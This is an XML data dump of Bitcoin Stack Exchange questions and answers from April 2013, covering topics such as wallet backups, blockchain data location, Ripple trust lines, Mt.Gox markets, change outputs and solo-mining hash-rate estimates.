  <row Id="8985" PostTypeId="1" AcceptedAnswerId="12388" CreationDate="2013-04-02T18:24:38.023" Score="4" ViewCount="5999" Body="&lt;p&gt;&lt;em&gt;Using the standard client, &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;, v0.8.1:&lt;/em&gt; (win10x64)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to move the blockchain data from its default location to a different location (maybe even an external disk or &lt;a href=&quot;https://en.wikipedia.org/wiki/Network-attached_storage&quot; rel=&quot;nofollow&quot;&gt;NAS&lt;/a&gt; drive). What should I do to make this working while moving that data?&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2016-05-29T21:15:05.843" LastActivityDate="2016-05-29T21:15:05.843" Title="How to move the blockchain data while still being able to use the wallet?" Tags="|blockchain|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8986" PostTypeId="1" CreationDate="2013-04-02T18:25:31.813" Score="2" ViewCount="812" Body="&lt;p&gt;I had to delete my .bitcoin directory in Ubuntu 12.10, after months of getting the near 9 GB of blk data files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied everything over to another machine (and back to the original too) and it gives me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A fatal error occurred. Bitcoin can no longer continue safely and will quit.&#xA;  &lt;br/&gt;&#xA;     EXCEPTION: St13runtime_error &lt;br/&gt;&#xA;     CDB() : can't open database file blkindex.dat, error 22 &lt;br/&gt;&#xA;     bitcoin in Runaway exception &lt;br/&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;chmod +w&lt;/code&gt; on the files, but still no go.  &lt;/p&gt;&#xA;" OwnerUserId="3825" LastEditorUserId="1405" LastEditDate="2014-04-05T21:30:27.777" LastActivityDate="2014-04-05T21:30:27.777" Title="Saved .bitcoin directory full ~9 GB block data, won't work when copied to another system" Tags="|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8987" PostTypeId="2" ParentId="8958" CreationDate="2013-04-02T18:29:41.673" Score="3" Body="&lt;p&gt;Ripple address r3AWbdp2jQLXLywJypdoNwVSvr81xs3uhn and you set up a trust line for 1.0 BTC in each direction. As part of some previous payment (not a trade), Ripple made use of that trust line just as it was told it could. If you don't want a negative balance ask people not to trust you :-). [As an aside, previous ripple implementations like classic.ripplepay.com required you to approve and limit what trust others gave you, it's more complicated and there really isn't a downside to people trusting you so ripple.com doesn't support that, at least not yet).]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;https://ripple.com/graph/#rhQ7mQ1JJKygoxh7SoCaKNZB4GufdCRiH3&quot; rel=&quot;nofollow&quot;&gt;Ripple Live Graph&lt;/a&gt;... you currently owe the above address 0.1 BTC and you have 0.096+ BTC from WeExchange. For small amounts it's generally easiest to just leave it alone in Ripple rather than trying to zero it. The friend that has your IOU can use it to make payments through you and anyone that accepts your IOUs or that accepts any IOUs you hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. If your friend had a WeExchange account (they don't trust WeEx currently so they may not) they could pay WeExchange say 0.06 BTC. Your total balance would stay the same but you'd owe the friend only 0.04 BTC and hold 0.036+ BTC from WeExchange. Your friend could pay their Bitstamp account too. In that case the payment would go through you, to rfTXGr6j9ExwSQd9NwRaLBCCa4VETr4GYu (who trusts you) and from them to Bitstamp. In that case the first friend would effectively be exchanging your IOUs with the second friend in exchange for their Bitstamp IOUs :-).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-04-02T18:29:41.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8989" PostTypeId="1" AcceptedAnswerId="9014" CreationDate="2013-04-02T18:34:00.393" Score="0" ViewCount="227" Body="&lt;p&gt;What are good ways and places for storing backup of an encrypted wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When somebody open &lt;strong&gt;encrypted&lt;/strong&gt; wallet what all can he do when he does not have a key?&#xA;asuming that the key to the wallet is e.g. 73 trilion years far to cracking&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2013-05-03T03:10:34.243" Title="What are good ways to storing backup of an encrypted wallet?" Tags="|wallet|bitcoin-core|backup|storage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8990" PostTypeId="2" ParentId="8960" CreationDate="2013-04-02T18:40:38.147" Score="2" Body="&lt;p&gt;So, there may be some benefits to a country with a very troubled currency, but I don't think those benefits would outweigh the drawbacks right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, because the exchange rate of BTC is still too volatile. While an increasing exchange rate may seem like a benefit to us that have some BTC in our wallet, think about someone trying to price a service. Recently I saw a post on the bitcoin subreddit where a coffee shop started accepting BTC. Unfortunately, they had hard coded an exchange rate of 30USD to 1BTC. Resulting in outrageous pricing. Shops that have to change their prices every day is a sign of a troubled currency, even if it prices going down every day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I'm not sure we really have the infrastructure right now to have full commerce in BTC. It's too different than fiat currency. We're moving in that direction, but there just isn't the commerce and banking infrastructure that is built of the eccentricities of BTC. A more likely is a country &quot;pegging&quot; their currency to BTC. But even that is very unlikely, because it would mean that country would be abdicating its control of monetary policy. It's one thing to abdicate that responsibility when you peg your currency to a fairly stable currency like the Euro or the dollar, but pegging it to BTC would be quite the wild ride. The country would have to maintain massive reserves of both its currency and BTC to try to maintain the pegged ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which leads to my next point. Even though the BTC money supply is getting large, imagine the impact of even a small country moving to BTC. If I were a bank with even $5 billion in deposits that was suddenly mandated to carry my reserve in BTC, I would be in big trouble. That would mean a sudden order to purchase $500,000,000 BTC. The Bitcoin money supply may be getting larger, but there still isn't that kind of liquidity in the BTC exchanges yet.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-02T18:40:38.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostTypeId="2" ParentId="8957" CreationDate="2013-04-02T19:03:16.847" Score="2" Body="&lt;p&gt;I take it that this is the transaction you are waiting for: &lt;a href=&quot;https://blockchain.info/tx/922ce9017732c967c217e4cce7ad9f34527778db2d506320481fdd3d05f0e8b3&quot; rel=&quot;nofollow&quot;&gt;922ce90177...&lt;/a&gt;. As you can see it has been submitted to the network and will eventually show up in your client as well.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-04-02T19:03:16.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8992" PostTypeId="2" ParentId="8981" CreationDate="2013-04-02T19:19:37.153" Score="0" Body="&lt;p&gt;MPEX has the &lt;a href=&quot;http://mpex.co&quot; rel=&quot;nofollow&quot;&gt;MPOE&lt;/a&gt; (options exchange) in which CALLs may be written or bought, and PUTs which may be sold or bought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.icbit.se&quot; rel=&quot;nofollow&quot;&gt;ICBit&lt;/a&gt; offers trading of futures contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinsetter.com&quot; rel=&quot;nofollow&quot;&gt;CoinSetter&lt;/a&gt; might be the first U.S. exchange to offer options when it launches (expected Spring 2013).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kraken.com&quot; rel=&quot;nofollow&quot;&gt;Kraken&lt;/a&gt; is expected to be launching at some point, in which short selling using leverage will be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be other approaches that work for you, including methods from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Trade#Financial&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Trade#Financial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-02T19:19:37.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8993" PostTypeId="1" AcceptedAnswerId="22073" CreationDate="2013-04-02T19:26:23.450" Score="2" ViewCount="4989" Body="&lt;p&gt;I saw that mining BTC with CPU is not profitable anymore, and that you'd &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8405.0&quot; rel=&quot;nofollow&quot;&gt;lose money&lt;/a&gt; mining bitcoin. Is the same thing true of litecoin?&lt;/p&gt;&#xA;" OwnerUserId="3819" LastEditorUserId="5406" LastEditDate="2016-04-28T13:10:06.687" LastActivityDate="2016-04-28T13:10:06.687" Title="Is it profitable to use Amazon EC2 to mine litecoins?" Tags="|litecoin|mining-profitability|amazon-web-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8995" PostTypeId="2" ParentId="8953" CreationDate="2013-04-02T19:57:24.313" Score="2" Body="&lt;p&gt;MultiBit is available for OSX. &#xA;&lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only uses the block headers (included in the download - about 20 MB). &#xA;There is a version in test that replaces this with a checkpoints file which is only 12 kilobytes.  &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-04-02T20:04:29.033" LastActivityDate="2013-04-02T20:04:29.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8997" PostTypeId="1" AcceptedAnswerId="9000" CreationDate="2013-04-02T20:10:03.313" Score="4" ViewCount="11270" Body="&lt;p&gt;How can I show/open my wallet in gui-less linux version? I tried to show the contents with &lt;code&gt;cat&lt;/code&gt; but it's only binary data (which makes sense). The &lt;code&gt;--help&lt;/code&gt; option of &lt;code&gt;bitcoin/bin/64/bitcoind&lt;/code&gt; also doesn't give me a hint.&lt;/p&gt;&#xA;" OwnerUserId="3830" LastEditorUserId="2306" LastEditDate="2013-04-02T21:39:43.810" LastActivityDate="2016-04-05T14:49:54.643" Title="How do I show my wallet from the command line?" Tags="|wallet|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8998" PostTypeId="2" ParentId="8959" CreationDate="2013-04-02T20:34:24.830" Score="1" Body="&lt;p&gt;You could try with other server, maybe the one you were using was lagging in the moment you imported the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To switch servers just go to the green ball at the bottom-right Network and select other server.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-04-02T20:34:24.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9000" PostTypeId="2" ParentId="8997" CreationDate="2013-04-02T20:53:59.913" Score="5" Body="&lt;p&gt;Direct command-line access via &lt;code&gt;bitcoind&lt;/code&gt; is not available any more. You &lt;em&gt;can&lt;/em&gt; get access from the command line via the RPC (Remote Procedure Call) API, e.g. with python. The API calls list is found &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give a specific example, you can access wallet information via the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;Python RPC&lt;/a&gt; API. Given that the client was booted with &lt;code&gt;rpcuser=user&lt;/code&gt; and &lt;code&gt;rpcpassword=pass&lt;/code&gt;, the sample python script illustrates how you can call the &lt;code&gt;getbalance&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  from jsonrpc import ServiceProxy&#xA;&#xA;  access = ServiceProxy(&quot;http://user:pass:8332&quot;)&#xA;  access.getinfo()&#xA;  access.listreceivedbyaddress(6)&#xA;  print access.getbalance()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="682" LastEditorUserId="682" LastEditDate="2016-04-05T14:49:54.643" LastActivityDate="2016-04-05T14:49:54.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9002" PostTypeId="1" AcceptedAnswerId="9003" CreationDate="2013-04-02T21:42:27.770" Score="5" ViewCount="5798" Body="&lt;p&gt;Ripple uses a Blob Vault structure to hold the wallet, but it currently resides on one centralized endpoint. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8004/when-would-i-change-my-ripple-clients-web-socket-ip-and-blob-vault-url/8006?noredirect=1#comment11831_8006&quot;&gt;It might be prudent to back up your wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it done?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-04-02T21:57:11.550" Title="How do I backup my Ripple wallet?" Tags="|ripple|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostTypeId="2" ParentId="9002" CreationDate="2013-04-02T21:57:11.550" Score="2" Body="&lt;p&gt;There are two things to backup/save, both can be found in the client under &quot;&lt;code&gt;Wallet -&amp;gt; Security&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first and most important is your &quot;secret key&quot;. Your public key is your ripple address that is &lt;code&gt;r0123456789ABCDEabcde&lt;/code&gt;, your secret key is in a similar format but starts with '&lt;code&gt;s&lt;/code&gt;', something like &lt;code&gt;s0123456789ABCDEabcde&lt;/code&gt;. Write this down or save it somewhere safe. With just this your funds and trust lines can be recovered into a new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing to save is your wallet. It's stored encrypted and contains your contacts as well as your secret key. The client will let you make an explicit copy into a local file that you can save as you wish. As with the secret key you do this via &quot;Wallet-&gt;Security&quot; in the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On account creation (and whenever you login) you can set the &quot;Fetch wallet from&quot; option to one of &quot;Payward&quot;, &quot;Payward and Local Browser&quot; or &quot;Local Browser&quot;. The middle option, both, is the default. It means that an encrypted copy of your wallet is stored at &lt;a href=&quot;https://blobvault.payward.com&quot; rel=&quot;nofollow&quot;&gt;https://blobvault.payward.com&lt;/a&gt; (seen/set on the Advanced-&gt;Options page) &lt;strong&gt;and&lt;/strong&gt; somewhere in your browser (?where?). The payward option allows you to access your wallet from any device and the local copy makes you not depend on payward being up/accessible at all times.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-04-02T21:57:11.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9004" PostTypeId="2" ParentId="8971" CreationDate="2013-04-02T22:05:15.900" Score="0" Body="&lt;p&gt;I solved my own problem. If others have this problem, the easiest solution is to find your wallet.dat file on your Mac, which is in in ~/Library/Application Support/Bitcoin/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Import this folder into a new wallet on Blockchain.info. Your balance will show up in there and you will have access to your BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was fairly simple and I spent way to much time on that!&lt;/p&gt;&#xA;" OwnerUserId="3814" LastActivityDate="2013-04-02T22:05:15.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostTypeId="2" ParentId="8986" CreationDate="2013-04-02T22:13:08.127" Score="1" Body="&lt;p&gt;Two things come to mind as possible reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most probable reason is that you've switched client versions. There was a switch between 0.7 and 0.8 in how the block index (not the block data itself) was stored; it was changed from BerkeleyDB to LevelDB. If you remove the &lt;code&gt;blkindex.dat&lt;/code&gt; (and really want to keep an index around, which is unlikely) you can restart the client with &lt;code&gt;-rescan&lt;/code&gt; and &lt;code&gt;-txindex&lt;/code&gt;. It will take a while (an hour?) to complete the indexing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other reason that I can think of is that it's genuinely corrupt, but that's unlikely.&lt;/p&gt;&#xA;" OwnerUserId="682" LastEditorUserId="1307" LastEditDate="2013-04-03T00:32:37.340" LastActivityDate="2013-04-03T00:32:37.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostTypeId="1" AcceptedAnswerId="9008" CreationDate="2013-04-02T22:54:05.920" Score="1" ViewCount="253" Body="&lt;p&gt;MtGox supports multiple currencies. Usually referred to as f.e. mtgoxUSD, mtgoxEUR, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, MtGox has different market depth listings for it's different markets and keeps a separate price for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these markets completely separated, meaning that when I place a buying order in euros, it can only be matched with selling orders in euro? This would also mean that less popular markets inside MtGox, which have less average volume, can have the same delay effects as less volumous non-MtGox markets in let's say US dollars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible that I buy bitcoins with euros and that someone else receives dollars for the coins I bought?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-03T04:11:16.090" Title="Are the Mt.Gox markets for different currencies completely separated?" Tags="|exchanges|mtgox|market|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9007" PostTypeId="1" AcceptedAnswerId="9010" CreationDate="2013-04-02T23:34:15.153" Score="30" ViewCount="31479" Body="&lt;p&gt;I did a small transaction some days ago:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blockchain.com/btc/tx/4c07a07dfd9d5b79d168ec6835df876c64e82350a8f9211bf586d858a5aeb9ba&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blockchain.com/btc/tx/4c07a07dfd9d5b79d168ec6835df876c64e82350a8f9211bf586d858a5aeb9ba&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;1JFWE8THcAQQRYx99c43DXSGyoPL9Zs62D&lt;/code&gt; is my wallet&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1PCGNxgheKTaeT6xvTabcY8ZbS3gDpFtb&lt;/code&gt; is the wallet I sent 0.22 BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Who is &lt;code&gt;147krm8yWUcVq9Ta25h679TCpsEznzgvRz&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Why there is more than one output?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3166" LastEditorUserId="38618" LastEditDate="2018-06-28T12:25:39.943" LastActivityDate="2023-04-01T02:00:54.540" Title="Why are there two transaction outputs when sending to one address?" Tags="|transactions|change|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9008" PostTypeId="2" ParentId="9006" CreationDate="2013-04-02T23:37:43.677" Score="4" Body="&lt;p&gt;There is only one order book in MtGox. Orders aren't segregated by currency, rather, all prices are relative to the currency with the highest volume (based off The European Central Bank's daily rates). &lt;a href=&quot;https://support.mtgox.com/entries/20800336-Multi-Currency-Trading&quot; rel=&quot;nofollow&quot;&gt;In their own words&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, if a buy order for bitcoins is placed in EUR, the order can be executed against another user selling bitcoins in any currency and not necessarily only against another user selling bitcoins in EUR.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That said, wallet currencies are completely separate. There's no converting between them unless you're transferring that value via bitcoins themselves. For example, you can buy bitcoins in a EUR wallet with EUR, transfer them to a USD wallet and sell them in USD. Of course, you have to consider how you'll withdraw the resulting currency.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastEditorUserId="3413" LastEditDate="2013-04-03T04:11:16.090" LastActivityDate="2013-04-03T04:11:16.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9010" PostTypeId="2" ParentId="9007" CreationDate="2013-04-03T01:18:23.920" Score="35" Body="&lt;p&gt;&lt;code&gt;147krm8yWUcVq9Ta25h679TCpsEznzgvRz&lt;/code&gt; is the change from the transaction. There was more than one output because you didn't have any previous transactions (sometimes thought of as &quot;coins&quot;) that added up the exact amount of the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your client picked some coins that added up to at least that amount and then created a new address to receive the leftover amount. So, &lt;code&gt;147krm8yWUcVq9Ta25h679TCpsEznzgvRz&lt;/code&gt; is you. You just don't know it because the client isn't good at disclosing that you. Essentially you wanted to send 22 cents, but only had dollar bills in your wallet. So the 0.78 was the leftover amount and the client created a new address to hold it rather than reusing &lt;code&gt;1JFWE8THcAQQRYx99c43DXSGyoPL9Zs62D&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that this behavior of the Qt client (silently creating new addresses that receive the change from transactions) was created for privacy reasons. I believe the thinking was, why send the change back to the original address when a new address could easily be created? In that way, it's not even obvious whether your transaction was a payment of 0.78 BTC with a change of 0.22, or a payment of 0.22 BTC with a change of 0.78 BTC. But it seems to be causing a lot of confusion for users, based on what I see on this stack exchange. In my opinion, it might be better if the default client sent the change back to the sending address. Or if, at least, it showed that change address and its balance somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other wallets do let you manually select which address should receive the change from a transaction. &lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="1475" LastEditDate="2013-12-07T12:19:50.713" LastActivityDate="2013-12-07T12:19:50.713" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9012" PostTypeId="1" AcceptedAnswerId="9017" CreationDate="2013-04-03T02:04:35.470" Score="1" ViewCount="9034" Body="&lt;p&gt;What's the hash power requirements to solo mine and win at least one block a day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two cases (with 10% luck, means mining requires to iterate 90% of unsuccessful hashes), &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mine 24 hours a day and win at least one block&lt;/li&gt;&#xA;&lt;li&gt;Mine 10 - 30 mins and win at least one block&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-04-01T09:27:02.610" LastActivityDate="2017-02-20T12:31:36.493" Title="Solo mining requirement to win a block everyday?" Tags="|mining-profitability|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9014" PostTypeId="2" ParentId="8989" CreationDate="2013-04-03T02:10:51.967" Score="1" Body="&lt;p&gt;You can back it up pretty much anywhere. USB drive, backup hard drive, Dropbox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet is encrypted, all they can see is what addresses you own and how many bitcoins they have. They cannot send any bitcoins or get the private keys.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-04-03T02:10:51.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9015" PostTypeId="1" AcceptedAnswerId="9019" CreationDate="2013-04-03T02:13:53.167" Score="9" ViewCount="16935" Body="&lt;p&gt;Say I have funds on two exchanges. Whenever the price of bitcoin is higher on the first one, I sell on that one and buy on the other one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone doing this or has a program that does this? Is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="2306" LastEditDate="2015-01-15T21:55:59.663" LastActivityDate="2017-02-22T14:47:13.093" Title="Is anyone taking advantage of different prices across exchanges?" Tags="|exchanges|exchange-rate|arbitrage|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostTypeId="2" ParentId="9012" CreationDate="2013-04-03T02:53:41.110" Score="2" Body="&lt;p&gt;The following is assuming the difficulty has balanced with the current network hash rate (right now, the difficulty is actually about 10% low, but it will adjust in about 3 days):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Network hash rate (current) = 61 Thash/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks per day = 24 * 6 = 144&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hash power required to solve 1 block per day = 61 Thash/s / 144 = 424 Ghash/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a block on average every 30 minutes, you'd need control of one third of the network's hashpower, which (unless you purchase mining equipment already in use) would require 50% of the current hashpower, or 30.5 Thash/s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve a block on average every 10 minutes is only possible if you control the entire network, which you can't do unless you stop everybody else from mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info available here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8568/equation-for-mining-profit&quot;&gt;Equation for mining profit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-04-03T04:42:45.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9018" PostTypeId="2" ParentId="9012" CreationDate="2013-04-03T02:59:50.357" Score="3" Body="&lt;p&gt;You can mine 1 block roughly every 10 mins, hence total blocks per day is 6 x 24 = 144&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Hash Rate in the Network is about 70000 GH/sec (Source: Blockchain.info]&lt;a href=&quot;http://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have 100% of the Hash power, you will get all the blocks each day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get at least one block a day, you will need roughly 0.7% of the current total hash power (1/144), that is about 486 GH/sec of hash power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get at least one coin a day, you will need at least 19.44GH/sec of hash power ( 486 / 25 coins per block)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash power requirement will change as the network hash rate rises with more ASIC devices shipped.&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2013-04-03T02:59:50.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9019" PostTypeId="2" ParentId="9015" CreationDate="2013-04-03T03:32:17.397" Score="6" Body="&lt;p&gt;This is possible and many people do it, but the loop can be significantly delayed by the time it takes to transfer fiat between exchanges. There may be automation software out there, but it is likely closely guarded by those who employ it. There is still the manual step of coordinating fiat movement.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-03T03:32:17.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9021" PostTypeId="1" AcceptedAnswerId="10566" CreationDate="2013-04-03T04:08:35.423" Score="5" ViewCount="31067" Body="&lt;p&gt;Are there any litecoin wallets available on the internet right now? I have a mac and the mac version software is very confusing.&lt;/p&gt;&#xA;" OwnerUserId="3773" LastEditorUserId="516" LastEditDate="2013-04-03T04:36:53.213" LastActivityDate="2014-04-19T22:26:33.800" Title="Are there any online wallets available for Litecoin?" Tags="|e-wallet|litecoin|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9023" PostTypeId="2" ParentId="4461" CreationDate="2013-04-03T05:22:36.857" Score="4" Body="&lt;p&gt;I kinda figured out how to improve performance on ext4/linux:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tlfabian.blogspot.hu/2013/04/speeding-up-bitcoin-qt-on-linux.html&quot; rel=&quot;nofollow&quot;&gt;http://tlfabian.blogspot.hu/2013/04/speeding-up-bitcoin-qt-on-linux.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3850" LastActivityDate="2013-04-03T05:22:36.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9025" PostTypeId="1" AcceptedAnswerId="9027" CreationDate="2013-04-03T06:54:36.903" Score="2" ViewCount="209" Body="&lt;p&gt;Question: Can I just buy/sell/trade to BTC and hold it and still be profitable? I mean with money you'd need to invest it in stocks, bonds, and etc to make more cash and simply holding on to cash over the long term means the same as losing money. Is this also true with BTC? Will I be losing money if lets say I buy 2 BTC coins and just leave it alone without investing it?&lt;/p&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2013-04-03T07:35:15.877" Title="Can you use BTC without mining?" Tags="|trading|economic-theory|bitcoin-economy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9026" PostTypeId="2" ParentId="9025" CreationDate="2013-04-03T07:20:48.870" Score="0" Body="&lt;p&gt;Yes, mining is optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will profit from selling and trading. Holding only means, unrealized profit / loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is deflationary, as opposed to inflationary fiat currencies. Bitcoin's worth is supposed to go up as there are less and less coins, and more people starts using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, exchange rate varies with investor / speculator / general public's current interest.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-04-03T07:20:48.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
